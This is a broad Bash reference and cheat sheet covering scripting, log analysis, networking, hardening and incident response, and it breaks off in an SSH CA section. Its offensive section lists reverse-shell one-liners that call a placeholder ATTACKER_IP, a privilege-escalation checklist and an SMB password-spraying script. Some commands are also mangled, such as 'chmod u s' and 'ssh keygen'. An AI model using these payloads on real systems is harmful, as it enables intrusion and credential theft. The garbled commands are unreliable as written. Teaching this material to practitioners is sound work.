Bash¶
Bash isn't just a shell it's the glue that holds Unix/Linux together. Every command, every script, every automation flows through bash. Master it and you'll understand how systems actually work.
Table of Contents¶
- 1. Core Concepts and Syntax
- Variables and Environment
- Conditionals and Tests
- Loops and Iteration
- Functions and Modularity
- 2. File and Directory Operations
- Essential File Commands
- Advanced File Manipulation
- 3. Text Processing and Data Manipulation
- grep Patterns for Security
- awk for Log Analysis
- sed for Stream Editing
- cut and Other Text Tools
- 4. Networking and Reconnaissance
- 5. Process and System Management
- 6. Advanced Scripting Techniques
- 7. Security and Forensics Scripts
- 8. Offensive Security Techniques
- 9. Defensive Security Techniques
- 10. Quick Reference Tables
- 11. Advanced Tips and Tricks
- 12. Security Best Practices
- 12a. Server Administration and Hardening
- 12b. Filesystem and Mount Hardening
- 12c. SSH Advanced: CA, FIDO2, Match Rules
- 12d. Network Hardening: SYNPROXY and Conntrack
- 12e. Auditd Comprehensive Ruleset
- 12f. Centralized Logging and Shipping
- 12g. Incident Response Toolbelt
- 12h. Backup Verification and Restore Drills
- 12i. Secrets Hygiene and Rotation
- 12j. Container aware Hardening
- 13. Cross-References
- 14. Notes and Pitfalls
- 15. Shell Grammar, Quoting, and Globbing
- 16. Redirection and File Descriptors Deep Dive
- 17. Job Control and Signals
- 18. Coprocess, Subshells, and Grouping
- 19. Robust CLI Parsing with getopts
- 20. Advanced Parameter Expansion
- 21. Arrays and Input Processing
- 22. History, Readline, and Prompt (PS1)
- 23. Parallelism Patterns
- 24. Locking and Concurrency Control
- 25. Logging, Tracing, and Debugging
- 26. JSON/YAML Handling with jq/yq
- 27. Advanced curl and HTTP Testing
- 28. Advanced SSH Usage
- 29. Filesystem Monitoring with inotify
- 30. Forensics Essentials
- 31. Containers and Namespaces
- 32. UX Patterns: Menus, Spinners, Progress
- 33. Scheduling: cron and systemd timers
- 34. Packaging and Install Scripts
- 35. Git Automation
- 36. Crypto with GPG and OpenSSL
- 37. Backups with rsync and tar
- 38. System Inventory
- 39. SELinux and AppArmor Quick Reference
- 40. Testing Bash with Bats
- 41. ShellCheck: Common Issues
- 42. Tmux Essentials (bonus)
- 43. ANSI Colors and Styling
- 44. Portability and Bashisms
- 45. One liners for Security Workflows
- 46. Comprehensive Cheats: Patterns Library
- 47. Reference: shopt and set Options
- 48. Images and Visual Aids
- 49. Sources
1. Core Concepts and Syntax¶
Variables and Environment¶
# Assigning variables remember, no spaces around the equals sign!
TARGET="example.com"
PORT=443
TIMEOUT=5
# Environment variables these are the ones set by the system
echo "Current user: $USER"
echo "Home directory: $HOME"
echo "Path: $PATH"
# You can export variables so subprocesses can see them
export API_KEY="your secret key"
# Special variables that Bash provides
echo "Script name: $0"
echo "First argument: $1"
echo "All arguments: $@"
echo "Number of arguments: $#"
echo "Exit status of last command: $?"
echo "Process ID: $$"
Conditionals and Tests¶
# String comparisons checking if strings match
if [ "$USER" == "root" ]; then
echo "Running as root be careful!"
fi
# File tests checking properties of files
if [ -f "/etc/passwd" ]; then
echo "/etc/passwd exists and is a regular file."
fi
if [ -d "/tmp" ]; then
echo "/tmp is a directory."
fi
if [ -x "/usr/bin/nmap" ]; then
echo "nmap is executable."
fi
# Numeric comparisons for when you're dealing with numbers
if [ $PORT -eq 80 ]; then
echo "HTTP port"
elif [ $PORT -gt 1024 ]; then
echo "High port"
fi
# The modern way uses double brackets and even supports regex
if [[ "$HOST" =~ ^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$ ]]; then
echo "Valid IP address"
fi
Loops and Iteration¶
# For loop over a list of items
for protocol in http https ftp ssh; do
echo "Testing $protocol"
done
# For loop with brace expansion expands to a range
for port in {1..100}; do
echo "Scanning port $port"
done
# While loop reading from a file
while read -r line; do
echo "Processing: $line"
done < targets.txt
# While loop with command output
while read -r ip; do
ping -c 1 "$ip" | grep "bytes from"
done < <(cat ips.txt)
# C-style for loop if you're used to C
for ((i=0; i<10; i++)); do
echo "Iteration $i"
done
Functions and Modularity¶
# Defining a function
scan_target() {
local target=$1
local port=${2:-80} # Default port 80
echo "Scanning $target on port $port"
nc -zv "$target" "$port" 2>&1 | grep succeeded
}
# Function with return value
is_port_open() {
nc -zv "$1" "$2" &>/dev/null
return $?
}
# Calling functions
scan_target "example.com" 443
if is_port_open "192.168.1.1" 22; then
echo "SSH is open"
fi
2. File and Directory Operations¶
Essential File Commands¶
Here's a table of essential file commands super useful.
| Command | Description | Security Example |
|---|---|---|
ls -la | List all files with details | ls -la /var/www/ Check web directory permissions |
find | Find files by criteria | find / -name "*.php" -perm -o=w 2>/dev/null World writable PHP files |
grep -r | Recursive search | grep -r "password" /etc/ Find password references |
chmod | Change permissions | chmod 600 private.key Secure private key |
chown | Change ownership | chown root:root sensitive_file Set proper ownership |
stat | File statistics | stat -c "%a %n" /etc/passwd Check file permissions |
file | Determine file type | file suspicious_binary Analyze unknown files |
Advanced File Manipulation¶
For more advanced file operations.
# Find all SUID binaries these can be security risks
find / -perm -4000 -type f 2>/dev/null
# Find world writable files another potential issue
find / -perm -o=w ! -type l 2>/dev/null
# Find files modified in last 24 hours
find / -mtime -1 2>/dev/null
# Backup important files always good to have backups
tar -czf backup-$(date +%Y%m%d).tar.gz /etc/ /home/important/
# Monitor log files in real time great for watching what's happening
tail -f /var/log/auth.log
# Secure file deletion to make sure it's really gone
shred -u -z -n 3 sensitive_file.txt
3. Text Processing and Data Manipulation¶
grep Patterns for Security¶
# Find IP addresses in logs useful for analyzing traffic
grep -Eo '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' access.log
# Find failed login attempts spot potential attacks
grep "Failed password" /var/log/auth.log
# Extract URLs from JavaScript for web scraping or analysis
grep -Eo 'https?://[^"]+' script.js
# Case insensitive search for sensitive data be careful with this
grep -i "credit.*card\|ssn\|password" *.txt
# Context around matches see what happened before and after
grep -C 3 "SQL syntax" error.log
# Inverse match (exclude-patterns) filter out unwanted stuff
grep -v "127.0.0.1" access.log
awk for Log Analysis¶
# Top 10 IP addresses in access log see who's visiting most
awk '{print $1}' access.log | sort | uniq -c | sort -nr | head -10
# Extract specific columns from CSV data manipulation
awk -F',' '{print $1 "," $3}' data.csv
# Calculate average response time performance monitoring
awk '/ms$/ {sum+=$(NF-1); count++} END {print "Avg:", sum/count}' nginx.log
# Group by status code HTTP status analysis
awk '{print $9}' access.log | sort | uniq -c
# Complex field extraction advanced parsing
awk -F'[ "]+' '{print $1, $7, $9}' access.log
sed for Stream Editing¶
# Replace HTTP with HTTPS quick fix for URLs
sed 's/http:/https:/g' urls.txt
# Delete lines containing pattern clean up logs
sed '/debug=true/d' config.txt
# Add timestamp to each line for logging
sed 's/^/$(date "+%Y-%m-%d %H:%M:%S") /' logfile
# Extract specific lines get what you need
sed -n '10,20p' large_file.txt
# In place editing (backup-original) modify files safely
sed -i.bak 's/old/new/g' file.txt
cut and Other Text Tools¶
# Extract usernames from /etc/passwd get user list
cut -d: -f1 /etc/passwd
# Get first and third columns select data
cut -d',' -f1,3 data.csv
# Sort and get unique values deduplicate
sort file.txt | uniq -c
# Count lines, words, characters quick stats
wc -l access.log
# Compare files see differences
diff file1.txt file2.txt
4. Networking and Reconnaissance¶

Visual guide: The OSI model helps map where tools like curl (Application), TCP/UDP (Transport), IP (Network) operate.
curl for Web Interaction¶
# Basic HTTP requests simple way to test sites
curl -s -o /dev/null -w "%{http_code}" https://example.com
# Custom headers and authentication for APIs
curl -H "User-Agent: Mozilla/5.0" -H "X-API-Key: secret" https://api.example.com
# POST data and file upload sending data
curl -X POST -d "username=admin&password=test" https://login.example.com
curl -F "file=@payload.txt" https://upload.example.com
# Follow redirects and save cookies handle sessions
curl -L -c cookies.txt -b cookies.txt https://example.com
# Time request and show detailed info performance check
curl -w "@curl format.txt" -o /dev/null -s https://example.com
# Test for HTTP methods see what server supports
curl -X OPTIONS -I https://example.com
netcat-(nc) for Networking¶
# Port scanning check open ports
nc -zv example.com 1-1000 2>&1 | grep succeeded
# Banner grabbing see service info
echo "" | nc -nv -w 2 example.com 22
# File transfer send files
# Receiver: nc -lvnp 4444 > received_file
# Sender: nc -w 3 receiver_ip 4444 < file_to_send
# Simple chat server for testing
# Server: nc -lvnp 4444
# Client: nc server_ip 4444
# Proxy and port forwarding advanced networking
mkfifo /tmp/fifo; nc -l -p 8080 < /tmp/fifo | nc target_ip 80 > /tmp/fifo
DNS and Network Diagnostics¶
# DNS enumeration find subdomains
dig any example.com
dig axfr @ns1.example.com example.com
dig -x 8.8.8.8 # Reverse DNS
# Network information see interfaces
ip a # Show interfaces
ip route # Show routing table
ss -tulpn # Show listening ports
# Network testing ping and trace
ping -c 4 example.com
traceroute example.com
mtr example.com # Continuous traceroute
5. Process and System Management¶

Process Monitoring¶
# View all processes
ps aux
ps -ef
# Real time process monitoring
top
htop
# Find processes by name
pgrep -l ssh
pkill -f "pattern"
# Process tree
pstree
pstree -p # Show PIDs
# Resource usage
free -h # Memory
df -h # Disk space
du -sh /var/log/ # Directory size
System Information Gathering¶
# System info
uname -a
cat /etc/os release
hostnamectl
# Hardware info
lscpu
lsblk
lspci
lsusb
# Kernel information
sysctl -a
dmesg | tail
# User information
who
w
last
Service Management¶
# Systemd services
systemctl status sshd
systemctl start|stop|restart service
systemctl enable|disable service
# List all services
systemctl list unit files --type=service
# Check service logs
journalctl -u sshd
journalctl --since "1 hour ago"
# Old init.d style
service ssh status
/etc/init.d/ssh restart
6. Advanced Scripting Techniques¶
Error Handling and Debugging¶
# Exit on error
set -e
# Exit on undefined variables
set -u
# Pipefail exit if any command in pipeline fails
set -o pipefail
# Debug mode print each command
set -x
# Trap signals
trap 'echo "Script interrupted"; cleanup; exit 1' INT TERM
# Logging function
log() {
echo "$(date '+%Y-%m-%d %H:%M:%S') $1" >> script.log
}
Input Validation and Security¶
# Validate IP address
is_valid_ip() {
local ip=$1
if [[ $ip =~ ^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$ ]]; then
return 0
else
return 1
fi
}
# Sanitize input
sanitize_input() {
echo "$1" | tr -d ';|&<>`$\\'"'
}
# Check for required commands
check_dependencies() {
local deps=("nmap" "curl" "jq")
for dep in "${deps[@]}"; do
if ! command -v "$dep" &> /dev/null; then
echo "Error: $dep is required but not installed"
exit 1
fi
done
}
Advanced Pattern Matching¶
# Case statements
case "$1" in
start)
echo "Starting service"
;;
stop)
echo "Stopping service"
;;
restart)
echo "Restarting service"
;;
*)
echo "Usage: $0 {start|stop|restart}"
exit 1
;;
esac
# Regular expression matching
if [[ "$email" =~ ^[A-Za z0-9._%+-]+@[A-Za z0-9.-]+\.[A-Za z]{2,}$ ]]; then
echo "Valid email"
fi
7. Security and Forensics Scripts¶
Log Analysis Script¶
#!/bin/bash
# analyze_logs.sh Security log analysis tool
LOG_FILE="${1:-/var/log/auth.log}"
OUTPUT_FILE="security_report_$(date +%Y%m%d).txt"
echo "Security Log Analysis Report $(date)" > "$OUTPUT_FILE"
echo "=============================================" >> "$OUTPUT_FILE"
# Failed SSH attempts
echo "Failed SSH attempts:" >> "$OUTPUT_FILE"
grep "Failed password" "$LOG_FILE" | awk '{print $1,$2,$3,$9,$11}' | sort | uniq -c | sort -nr >> "$OUTPUT_FILE"
echo "" >> "$OUTPUT_FILE"
# Successful logins
echo "Successful logins:" >> "$OUTPUT_FILE"
grep "Accepted password" "$LOG_FILE" | awk '{print $1,$2,$3,$9,$11}' >> "$OUTPUT_FILE"
echo "" >> "$OUTPUT_FILE"
# sudo commands
echo "sudo commands executed:" >> "$OUTPUT_FILE"
grep "sudo:" "$LOG_FILE" | grep "COMMAND" >> "$OUTPUT_FILE"
echo "Report generated: $OUTPUT_FILE"
Network Monitor Script¶
#!/bin/bash
# network_monitor.sh Monitor network connections
INTERVAL=5
LOG_FILE="network_connections_$(date +%Y%m%d).log"
echo "Starting network monitor. Press Ctrl+C to stop."
echo "Timestamp,Protocol,Local Address,Foreign Address,State,PID/Program" > "$LOG_FILE"
while true; do
timestamp=$(date '+%Y-%m-%d %H:%M:%S')
# Get current network connections
netstat -tunap 2>/dev/null | awk 'NR>2 {print "'"$timestamp"'," $1 "," $4 "," $5 "," $6 "," $7}' >> "$LOG_FILE"
sleep "$INTERVAL"
done
File Integrity Monitor¶
#!/bin/bash
# file_integrity_monitor.sh Monitor critical files for changes
BASELINE_FILE="baseline.txt"
MONITOR_FILES=("/etc/passwd" "/etc/shadow" "/etc/sudoers" "/bin/ls" "/usr/bin/who")
# Create baseline
create_baseline() {
for file in "${MONITOR_FILES[@]}"; do
if [ -f "$file" ]; then
sha256sum "$file" >> "$BASELINE_FILE"
fi
done
echo "Baseline created: $BASELINE_FILE"
}
# Check for changes
check_integrity() {
if [ ! -f "$BASELINE_FILE" ]; then
echo "Error: Baseline file not found. Run with --create first."
exit 1
fi
while read -r expected_hash file_path; do
if [ -f "$file_path" ]; then
current_hash=$(sha256sum "$file_path" | awk '{print $1}')
if [ "$current_hash" != "$expected_hash" ]; then
echo "ALERT: File $file_path has been modified!"
echo "Expected: $expected_hash"
echo "Current: $current_hash"
fi
else
echo "ALERT: File $file_path is missing!"
fi
done < "$BASELINE_FILE"
}
case "$1" in
--create)
create_baseline
;;
--check)
check_integrity
;;
*)
echo "Usage: $0 {--create|--check}"
exit 1
;;
esac
8. Offensive Security Techniques¶
Reverse Shell Payloads¶
# Bash TCP reverse shell
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
# Netcat traditional
nc -e /bin/bash ATTACKER_IP 4444
# Netcat without -e-(alternative)
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc ATTACKER_IP 4444 > /tmp/f
# Python reverse shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
# Perl reverse shell
perl -e 'use Socket;$i="ATTACKER_IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
# PHP reverse shell
php -r '$sock=fsockopen("ATTACKER_IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
Privilege Escalation Checks¶
# Quick privilege escalation checklist
echo "=== Privilege Escalation Checklist ==="
# SUID binaries
echo "[+] SUID Binaries:"
find / -perm -4000 -type f 2>/dev/null
# Sudo permissions
echo "[+] Sudo Permissions:"
sudo -l
# Cron jobs
echo "[+] Cron Jobs:"
ls -la /etc/cron* /var/spool/cron/
# World writable files
echo "[+] World writable files:"
find / -perm -o=w ! -type l 2>/dev/null
# Processes running as root
echo "[+] Processes running as root:"
ps aux | grep root | grep -v "\["
# Kernel version
echo "[+] Kernel version:"
uname -a
Password Spraying (Use-Responsibly)¶
#!/bin/bash
# password_spray.sh Simple password spraying tool
TARGETS=("user1" "user2" "admin" "root")
PASSWORDS=("password123" "admin123" "welcome1" "Password1")
DOMAIN="example.com"
for user in "${TARGETS[@]}"; do
for pass in "${PASSWORDS[@]}"; do
echo "Trying $user:$pass"
# Example using smbclient for SMB authentication
echo "exit" | smbclient -L //$DOMAIN -U "$user%$pass" &>/dev/null
if [ $? -eq 0 ]; then
echo "[SUCCESS] Valid credentials: $user:$pass"
fi
sleep 1 # Rate limiting
done
done
9. Defensive Security Techniques¶
SSH Hardening Script¶
#!/bin/bash
# ssh_hardening.sh Secure SSH configuration
SSH_CONFIG="/etc/ssh/sshd_config"
BACKUP_FILE="$SSH_CONFIG.backup.$(date +%Y%m%d)"
# Backup original config
cp "$SSH_CONFIG" "$BACKUP_FILE"
# Apply security settings
sed -i 's/^#PermitRootLogin.*/PermitRootLogin no/' "$SSH_CONFIG"
sed -i 's/^#PasswordAuthentication.*/PasswordAuthentication no/' "$SSH_CONFIG"
sed -i 's/^#PubkeyAuthentication.*/PubkeyAuthentication yes/' "$SSH_CONFIG"
sed -i 's/^#Protocol.*/Protocol 2/' "$SSH_CONFIG"
sed -i 's/^#MaxAuthTries.*/MaxAuthTries 3/' "$SSH_CONFIG"
sed -i 's/^#ClientAliveInterval.*/ClientAliveInterval 300/' "$SSH_CONFIG"
sed -i 's/^#ClientAliveCountMax.*/ClientAliveCountMax 2/' "$SSH_CONFIG"
# Restart SSH service
systemctl restart sshd
echo "SSH configuration hardened. Backup saved to $BACKUP_FILE"
Firewall Configuration¶
Visual guide: Packet traversal through hooks (PREROUTING, INPUT, FORWARD, OUTPUT, POSTROUTING) to place rules effectively.
# Basic iptables firewall setup
#!/bin/bash
# Flush existing rules
iptables -F
iptables -X
# Set default policies
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -P OUTPUT ACCEPT
# Allow established connections
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
# Allow loopback
iptables -A INPUT -i lo -j ACCEPT
# Allow SSH
iptables -A INPUT -p tcp --dport 22 -j ACCEPT
# Allow HTTP/HTTPS
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -j ACCEPT
# Allow ICMP-(ping)
iptables -A INPUT -p icmp -j ACCEPT
# Log dropped packets
iptables -A INPUT -j LOG --log prefix "IPTABLES-DROPPED: "
echo "Firewall rules configured"
Log Monitoring and Alerting¶
#!/bin/bash
# log_monitor.sh Monitor logs for security events
LOG_FILES=("/var/log/auth.log" "/var/log/syslog" "/var/log/nginx/access.log")
ALERT_EMAIL="security@example.com"
monitor_logs() {
tail -F "${LOG_FILES[@]}" | while read -r line; do
# Check for suspicious patterns
if echo "$line" | grep -q -E "(Failed password|invalid user|authentication failure)"; then
echo "ALERT: Failed login attempt $line" | mail -s "Security Alert" "$ALERT_EMAIL"
fi
if echo "$line" | grep -q -E "(sudo:|COMMAND=)"; then
echo "INFO: Sudo command executed $line" | mail -s "Sudo Activity" "$ALERT_EMAIL"
fi
# Add more detection patterns as needed
done
}
monitor_logs
10. Quick Reference Tables¶
File Test Operators¶
| Operator | Description | Example |
|---|---|---|
-e | File exists | [ -e file.txt ] |
-f | Regular file | [ -f /etc/passwd ] |
-d | Directory | [ -d /tmp ] |
-r | Readable | [ -r file.txt ] |
-w | Writable | [ -w file.txt ] |
-x | Executable | [ -x /bin/ls ] |
-s | File not empty | [ -s logfile ] |
-L | Symbolic link | [ -L /bin/sh ] |
String Operators¶
| Operator | Description | Example |
|---|---|---|
-z | String is empty | [ -z "$var" ] |
-n | String not empty | [ -n "$var" ] |
= | Strings equal | [ "$a" = "$b" ] |
!= | Strings not equal | [ "$a" != "$b" ] |
< | String less than | [[ "$a" < "$b" ]] |
> | String greater than | [[ "$a" > "$b" ]] |
Arithmetic Operators¶
| Operator | Description | Example |
|---|---|---|
-eq | Equal | [ $a -eq $b ] |
-ne | Not equal | [ $a -ne $b ] |
-lt | Less than | [ $a -lt $b ] |
-le | Less or equal | [ $a -le $b ] |
-gt | Greater than | [ $a -gt $b ] |
-ge | Greater or equal | [ $a -ge $b ] |
Common Exit Codes¶
| Code | Description |
|---|---|
0 | Success |
1 | General error |
2 | Misuse of shell builtins |
126 | Command cannot execute |
127 | Command not found |
128 | Invalid argument to exit |
130 | Script terminated by Ctrl+C |
255 | Exit status out of range |
11. Advanced Tips and Tricks¶
Visual guide: Pipelines connect stdout of one command to stdin of the next; combine with process substitution for complex flows.
Process Substitution¶
# Compare sorted versions of files
diff <(sort file1.txt) <(sort file2.txt)
# Process output from multiple commands
paste <(cut -f1 data.txt) <(cut -f3 data.txt)
# Feed output to multiple processes
tee >(process1) >(process2) >/dev/null
Brace Expansion¶
# Create multiple files
touch file{1..10}.txt
# Create backup copies
cp config.txt{,.bak}
# Generate IP ranges
echo 192.168.1.{1..254}
# Create directory structure
mkdir -p project/{src,bin,doc,test}
Parameter Expansion¶
# Default values
${VAR:-default} # Use default if VAR is unset or empty
${VAR:=default} # Set VAR to default if unset or empty
${VAR:?error} # Display error if VAR is unset or empty
# String manipulation
${VAR#pattern} # Remove shortest match from beginning
${VAR##pattern} # Remove longest match from beginning
${VAR%pattern} # Remove shortest match from end
${VAR%%pattern} # Remove longest match from end
${VAR:offset:length} # Substring extraction
# Example usage
filename="/path/to/file.txt"
echo "${filename##*/}" # file.txt
echo "${filename%.*}" # /path/to/file
Arrays and Associative Arrays¶
# Indexed arrays
files=(*.txt)
echo "First file: ${files[0]}"
echo "All files: ${files[@]}"
echo "Number of files: ${#files[@]}"
# Associative arrays (Bash-4+)
declare -A colors
colors["red"]="#ff0000"
colors["green"]="#00ff00"
echo "Red: ${colors[red]}"
# Iterate through array
for file in "${files[@]}"; do
echo "Processing: $file"
done
for color in "${!colors[@]}"; do
echo "$color: ${colors[$color]}"
done
12. Security Best Practices¶
Script Security¶
# Always use shellcheck to validate scripts
shellcheck your_script.sh
# Use strict mode at the beginning of scripts
set -euo pipefail
# Validate and sanitize all user input
read -r -p "Enter filename: " filename
filename=$(echo "$filename" | tr -d ';|&<>`$\\'"')
# Use password input without echo
read -r -s -p "Enter password: " password
echo
# Limit script privileges
if [ "$EUID" -ne 0 ]; then
echo "Please run as root"
exit 1
fi
Secure File Handling¶
# Use temporary files securely
temp_file=$(mktemp /tmp/secure.XXXXXXXXXX)
trap 'rm -f "$temp_file"' EXIT
# Secure file permissions
chmod 600 ~/.ssh/id_rsa
chmod 644 ~/.ssh/id_rsa.pub
chmod 700 ~/.ssh
# Secure directory permissions
find /var/www -type d -exec chmod 755 {} \;
find /var/www -type f -exec chmod 644 {} \;
# Set proper ownership
chown -R www data:www data /var/www/html
Network Security¶
# Use SSH keys instead of passwords
ssh keygen -t ed25519 -C "your_email@example.com"
# Secure SSH configuration
echo "Protocol 2" >> /etc/ssh/sshd_config
echo "PermitRootLogin no" >> /etc/ssh/sshd_config
echo "PasswordAuthentication no" >> /etc/ssh/sshd_config
# Use encrypted connections
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
# Verify SSL certificates
openssl s_client -connect example.com:443 -servername example.com </dev/null 2>/dev/null | openssl x509 -noout -dates
12a. Server Administration and Hardening¶
Users and Groups¶
# Create user, set shell and home
useradd -m -s /bin/bash ops
passwd ops
# Add to groups
usermod -aG wheel ops # RHEL/CentOS sudo group
usermod -aG sudo ops # Debian/Ubuntu sudo group
# Lock or expire
passwd -l user # lock account
chage -l user # view password aging
chage -M 90 -W 14 user # max 90 days, warn 14 days
# Show memberships
id ops; groups ops
Permissions, umask, and ACLs¶
# Default umask (affects new-files/dirs)
umask 027 # files: 640, dirs: 750
# ACLs for fine grained perms
setfacl -m u:deploy:rX /var/www/html
setfacl -m g:www data:rwX /var/www/html
getfacl /var/www/html
# Sticky bit, SGID on dirs for shared groups
chmod g+s /srv/shared # new files inherit group
chmod +t /tmp # sticky
systemd Units and Health¶
# Minimal service unit-(/etc/systemd/system/myapp.service)
[Unit]
Description=My App
After=network.target
[Service]
Type=simple
ExecStart=/usr/local/bin/myapp --config /etc/myapp.conf
Restart=on failure
RestartSec=3
User=myapp
Group=myapp
LimitNOFILE=65536
[Install]
WantedBy=multi user.target
# Enable + start + status
systemctl daemon reload
systemctl enable --now myapp.service
systemctl status myapp.service
journald Essentials¶
# Persistent logs (create-/var/log/journal) and reload
mkdir -p /var/log/journal
systemctl restart systemd journald
# Filter logs
journalctl -u myapp --since "2 hours ago"
journalctl -u myapp -p err..alert
journalctl -t myapp tag | tail -200
Firewalls: UFW / iptables / nftables¶
# UFW quick setup-(Ubuntu)
ufw default deny incoming
ufw default allow outgoing
ufw allow OpenSSH
ufw allow 80,443/tcp
ufw enable
ufw status verbose
# iptables (rate limit SSH, drop-scans)
iptables -F; iptables -X
iptables -P INPUT DROP; iptables -P FORWARD DROP; iptables -P OUTPUT ACCEPT
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A INPUT -i lo -j ACCEPT
iptables -A INPUT -p tcp --dport 22 -m state --state NEW -m recent --set
iptables -A INPUT -p tcp --dport 22 -m state --state NEW -m recent --update --seconds 60 --hitcount 6 -j DROP
iptables -A INPUT -p tcp -m multiport --dports 80,443 -j ACCEPT
iptables -A INPUT -p icmp -j ACCEPT
# nftables minimal ruleset-(/etc/nftables.conf)
flush ruleset
table inet filter {
chain input {
type filter hook input priority 0;
ct state established,related accept
iif lo accept
tcp dport {22,80,443} accept
ip protocol icmp accept
counter drop
}
}
# Apply
nft -f /etc/nftables.conf
Fail2ban Quickstart¶
apt install fail2ban # or: dnf/yum/zypper
# jail.local (override-defaults)
cat >/etc/fail2ban/jail.local <<'EOF'
[DEFAULT]
bantime = 1h
findtime = 10m
maxretry = 6
[sshd]
enabled = true
port = ssh
logpath = /var/log/auth.log
backend = systemd
EOF
systemctl enable --now fail2ban
fail2ban client status sshd
TLS and Certificates (OpenSSL /-Certbot)¶
# Generate private key + CSR-(server)
openssl req -new -newkey rsa:3072 -nodes -keyout server.key -out server.csr -subj "/CN=example.com/O=Example LTD/C=US"
# Self signed-(dev/test)
openssl x509 -req -days 365 -in server.csr -signkey server.key -out server.crt
# Check a TLS endpoint
openssl s_client -connect example.com:443 -servername example.com </dev/null | openssl x509 -noout -subject -issuer -enddate
# Certbot-(nginx)
certbot --nginx -d example.com -d www.example.com
# Cron/Timer renewal logs
systemctl list timers | grep certbot
logrotate Patterns¶
# /etc/logrotate.d/myapp
/var/log/myapp/*.log {
weekly
rotate 12
compress
delaycompress
missingok
notifempty
create 0640 myapp myapp
postrotate
systemctl reload myapp 2>/dev/null || true
endscript
}
Backup Recipes (rsync /-borg)¶
# rsync with hardlinks-(snapshots)
rsync -aHAX --delete /data/ /backups/$(date +%F)/
# borg (install-first)
borg init --encryption=repokey /backup/repo
borg create --stats /backup/repo::"{hostname}-{now:%F-%T}" /etc /var/www /home
borg prune -v --keep daily=7 --keep weekly=4 --keep monthly=6 /backup/repo
sysctl Hardening-(example)¶
# /etc/sysctl.d/99-hardening.conf
net.ipv4.ip_forward = 0
net.ipv4.conf.all.rp_filter = 1
net.ipv4.tcp_syncookies = 1
net.ipv4.conf.all.accept_redirects = 0
net.ipv4.conf.all.accept_source_route = 0
net.ipv4.conf.all.send_redirects = 0
net.ipv6.conf.all.accept_redirects = 0
# Apply
sysctl --system
SSH Hardening (SFTP-only-chroot)¶
# /etc/ssh/sshd_config.d/sftp chroot.conf
Subsystem sftp internal sftp
Match Group sftponly
ChrootDirectory %h
ForceCommand internal sftp
X11Forwarding no
AllowTCPForwarding no
# Prepare chroot home (must be owned by-root)
useradd -m -s /usr/sbin/nologin -G sftponly sftpuser
chmod 755 /home/sftpuser
mkdir -p /home/sftpuser/upload
chown sftpuser:sftponly /home/sftpuser/upload
systemctl restart sshd
Cron and systemd Timers¶
# Randomized cron via anacron like spacing
0 3 * * * sleep $((RANDOM%900)); /usr/local/bin/job.sh >>/var/log/job.log 2>&1
# systemd timer skeleton
# /etc/systemd/system/cleanup.service
[Unit]
Description=Daily cleanup
[Service]
Type=oneshot
ExecStart=/usr/local/bin/cleanup.sh
# /etc/systemd/system/cleanup.timer
[Unit]
Description=Run cleanup daily
[Timer]
OnCalendar=daily
RandomizedDelaySec=900
Persistent=true
[Install]
WantedBy=timers.target
systemctl daemon reload
systemctl enable --now cleanup.timer
Incident Response Quick Actions¶
# Snapshot processes, sockets, and connections
ps auxwwf > /root/ir_ps_$(date +%F_%T).txt
ss -tunap > /root/ir_ss_$(date +%F_%T).txt
lsof -nP > /root/ir_lsof_$(date +%F_%T).txt
# Persistence checks
systemctl list timers --all
systemctl list unit files --type=service | grep enabled
crontab -l; ls -la /etc/cron* /var/spool/cron
# Integrity and auth
last -a | head; lastlog | head
ausearch -m USER_AUTH,USER_LOGIN -ts today | aureport -au -i
12b. Filesystem and Mount Hardening¶
fstab best practices¶
# /etc/fstab examples (verify with: findmnt---verify)
# tmp and var tmp isolated, noexec/nosuid/nodev
(tmpfs) /tmp tmpfs defaults,noatime,nosuid,nodev,noexec,mode=1777 0 0
# Bind /var/tmp to /tmp to inherit options
/tmp /var/tmp none bind 0 0
# /home should not allow device files
UUID=XXXX /home ext4 defaults,nodev 0 2
# Separate /var/log and /var/log/audit for resilience
UUID=YYYY /var/log ext4 defaults,nosuid,nodev,noexec 0 2
UUID=ZZZZ /var/log/audit ext4 defaults,nosuid,nodev,noexec 0 2
Runtime remounting and verification¶
mount -o remount,noexec,nosuid,nodev /tmp
mount -o bind /tmp /var/tmp
# Check effective mount flags
findmnt -no TARGET,PROPAGATION,OPTIONS /tmp /var/tmp /home /var/log
SUID/SGID and capabilities hygiene¶
# List SUID/SGID binaries (baseline and monitor-diffs)
find / -xdev -type f -perm -4000 -o -perm -2000 2>/dev/null | sort -u
# List files with capabilities (more stealthy than-SUID)
getcap -r / 2>/dev/null | sort
# Remove dangerous bits/caps where appropriate
chmod u s /usr/bin/newgrp 2>/dev/null || true
setcap -r /usr/bin/tcpdump 2>/dev/null || true
Immutable flags (use-judiciously)¶
# Protect critical config from accidental edits (be-careful)
chattr +i /etc/hosts /etc/resolv.conf
# Remove when updating
chattr -i /etc/hosts /etc/resolv.conf
12c. SSH Advanced: CA, FIDO2, Match Rules¶
OpenSSH CA-signed user keys¶
# Create an SSH Certificate Authority-(CA)
ssh keygen -t ed25519 -f /etc/ssh/ca_user -C "ssh user ca"
# Sign a user key with principals (roles or-usernames)
ssh keygen -s /etc/ssh/ca_user -I user alice -n alice,ops -V +52w ~/.ssh/id_ed25519.pub
# Server: trust the CA-(sshd_config)
cat >/etc/ssh/sshd_config.d/ca trust.conf <<'EOF'
TrustedUserCAKeys /etc/ssh/ca_user.pub
